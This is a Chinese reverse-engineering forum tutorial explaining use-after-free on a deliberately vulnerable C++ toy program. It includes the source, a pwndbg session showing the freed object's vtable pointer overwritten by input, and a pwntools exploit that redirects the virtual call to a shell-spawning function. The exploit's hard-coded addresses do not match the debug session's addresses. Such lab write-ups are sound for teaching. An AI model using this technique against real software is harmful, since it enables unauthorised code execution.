学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

340

积分

3

好友

9

主题
发表于 2019-2-20 11:52:20 | 查看: 3961| 回复: 1

相关题目:

原理

use_after_free就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:
内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
内存块被释放后,其对应的指针没有被设置为NULL,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

---
例子
---
use_after_free.cpp
#include<cstdio>
#include<cstdlib>
#include<cstring>

class A
{
    public:

        virtual void print()
        {
            puts("class A");
        }
};

class B: public A
{
    public:
        void print()
        {
            puts("class B");
        }
};

void sh()
{
    system("sh");
}

char buf[1024];

int main()
{
    setvbuf(stdout,0,_IONBF,0);
    A *p = new B();
    delete p;       //删除堆p
    fgets(buf,sizeof(buf),stdin);
    char *q = strdup(buf);
    p->print();     //继续使用p,触发漏洞,程序会报错
    return 0;
}

编译:
g++ use_after_free.cpp -o use_after_free -g -w

---
运行结果
---
root@sir:# ./use_after_free
aaaabbbb
Segmentation fault (core dumped)

我们发现程序,在最后报错了,因为我们触发了use_after_free,不过不影响我们的实验

漏洞利用

用gdb调试use_after_free,先在main函数上面下一个断点,然后运行
root@sir:# gdb use_after_free
pwndbg: loaded 173 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from use_after_free...done.
pwndbg> b main
Breakpoint 1 at 0x11b1: file use_after_free.cpp, line 32.
pwndbg> r

然后一直单步运行,运行到delete的位置
pwndbg> n
34          delete p; //删除堆p
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS ]────────────────────

 RSI  0x0
 R8   0x3
 R9   0x7fffff280f00 ?— 0x7fffff280f00
 R10  0x0
 R11  0x0
 R12  0x80010b0 (_start) ?— xor    ebp, ebp /* 0x89485ed18949ed31 */
 R13  0x7ffffffee4e0 ?— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7ffffffee400 —? 0x80012d0 (__libc_csu_init) ?— push   r15 
 RSP  0x7ffffffee3e0 —? 0x80012d0 (__libc_csu_init) ?— push   r15 
 RIP  0x80011ef (main+71) ?— mov    rax, qword ptr [rbp - 0x18] 

─────────────────────────────────────────[ DISASM ]─────────────────────

 > 0x80011ef <main+71>     mov    rax, qword ptr [rbp - 0x18]
   0x80011f3 <main+75>     mov    esi, 8
   0x80011f8 <main+80>     mov    rdi, rax
   0x80011fb <main+83>     call   0x8001060

   0x8001200 <main+88>     mov    rax, qword ptr [rip+0x2e69]<0x8004070>
   0x8001207 <main+95>     mov    rdx, rax
   0x800120a <main+98>     mov    esi, 0x400
   0x800120f <main+103>    lea    rdi, [rip + 0x2e6a] <0x8004080>
   0x8001216 <main+110>    call   fgets@plt <0x8001080>

   0x800121b <main+115>    lea    rdi, [rip + 0x2e5e] <0x8004080>
   0x8001222 <main+122>    call   strdup@plt <0x8001090>

─────────────────────────────────────[ SOURCE (CODE) ]──────────────────

   29
   30 int main()
   31 {
   32     setvbuf(stdout,0,_IONBF,0);
   33     A *p = new B();
 > 34     delete p; //删除堆p
   35     fgets(buf,sizeof(buf),stdin);
   36     char *q = strdup(buf);
   37
   38     p->print(); //继续使用p,触发漏洞
   39     return 0;

这时我们查看p的信息
pwndbg> heap p
0x8016e70 {
  mchunk_prev_size = 134233472,
  mchunk_size = 0,
  fd = 0x0,
  bk = 0xf181,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}

我们看到p的chunk的地址是0x8016e70,所以我们详细查看一下0x8016e70的内容
pwndbg> x/10gx 0x8016e70-16
0x8016e60:      0x0000000000000000      0x0000000000000021
0x8016e70:      0x0000000008003d80      0x0000000000000000
0x8016e80:      0x0000000000000000      0x000000000000f181
0x8016e90:      0x0000000000000000      0x0000000000000000
0x8016ea0:      0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x8003d80
0x8003d80 <_ZTV1B+16>:  0x0000000008001266      0x0000000000000000
0x8003d90 <_ZTV1A+8>:   0x0000000008003db8      0x000000000800124a
0x8003da0 <_ZTI1B>:     0x00007fffff786438      0x0000000008002017
0x8003db0 <_ZTI1B+16>:  0x0000000008003db8      0x00007fffff7857f8
0x8003dc0 <_ZTI1A+8>:   0x000000000800201a      0x0000000000000001
pwndbg> x/10gx 0x8001266
0x8001266 <B::print()>: 0x10ec8348e5894855      0x933d8d48f87d8948
0x8001276 <B::print()+16>:      0xfffffdf2e800000d      0xe589485590c3c990
0x8001286 <A::A()+4>:   0x07158d48f87d8948      0x48f8458b4800002b
0x8001296 <A::A()+20>:  0x485590c35d901089      0x894810ec8348e589
0x80012a6 <B::B()+10>:  0x8948f8458b48f87d      0x8d48ffffffcee8c7


我们发现其实0x8016e70最终指向的位置其实就是class B中print函数的位置
我们继续单步运行程序,到p->print();的位置,然后我们继续查看堆p的信息
pwndbg> n
pwndbg> n
aaaabbbb
pwndbg> x/20gx 0x8016e70-16
0x8016e60:      0x0000000000000000      0x0000000000000021
0x8016e70:      0x6262626261616161      0x000000000000000a
0x8016e80:      0x0000000000000000      0x0000000000001011
0x8016e90:      0x6262626261616161      0x000000000000000a
0x8016ea0:      0x0000000000000000      0x0000000000000000
0x8016eb0:      0x0000000000000000      0x0000000000000000
0x8016ec0:      0x0000000000000000      0x0000000000000000
0x8016ed0:      0x0000000000000000      0x0000000000000000
0x8016ee0:      0x0000000000000000      0x0000000000000000
0x8016ef0:      0x0000000000000000      0x0000000000000000

我们发现原来0x8016e70的信息被我们输入的信息覆盖了,我们查看这时的汇编代码
0x8001227 <main()+127>  mov    QWORD PTR [rbp-0x20],rax 
0x800122b <main()+131>  mov    rax,QWORD PTR [rbp-0x18] 
0x800122f <main()+135>  mov    rax,QWORD PTR [rax] 
0x8001232 <main()+138>  mov    rax,QWORD PTR [rax] 
0x8001235 <main()+141>  mov    rdx,QWORD PTR [rbp-0x18]
0x800123c <main()+148>  call   rax

查看一下寄存器的信息
 RAX  0x8016e70 <— 'aaaabbbb\n'
 RBX  0x8016e70 <— 'aaaabbbb\n'
 RCX  0xa626262626161
 RDX  0xa
 RDI  0x8016e70 <— 'aaaabbbb\n'
 RSI  0x6262626261616161 ('aaaabbbb')
 R8   0x8016e99 <— 0x0
 R9   0x7fffff280f00 <— 0x7fffff280f00
 R10  0x253
 R11  0x7fffff316ee0 (strdup) <— push   rbp
 R12  0x80010b0 (_start) <— xor    ebp, ebp /* 0x89485ed18949ed31 */
 R13  0x7ffffffee4e0 <— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7ffffffee400 —> 0x80012d0 (__libc_csu_init) <— push   r15 
 RSP  0x7ffffffee3e0 —> 0x8016e70 <— 'aaaabbbb\n'
 RIP  0x800122f (main+135) <— mov    rax, qword ptr [rax]


我们发现RAX的内容就是我们输入的信息,结合汇编代码可以发现,最终的call rax这句代码将执行的我们输入的数据所指的地址的代码

---
EXP
---
根据程序的源代码可以看到,我们输入的内容先放在buf里面,然后再复制过去的,而buf属于全局变量,其位置是找到的,所以我们的shellcode的构造可以是buf的地址+8然后加上sh()函数的地址,最终的RAX的值就是sh()函数的地址了
from pwn import *
p = process('./use_after_free')
buf=0x00404080
sh=0x0401182
p.sendline(p64(buf+8)+p64(sh)+'a'*4)
p.interactive()

之所以要在buf的地址加上8,是因为RAX只有8字节,而buf加8的位置加上sh()函数的地址了



温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
发表于 2019-3-6 22:59:23
太强了,awsl

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-4-25 07:19 , Processed in 0.104686 second(s), 44 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表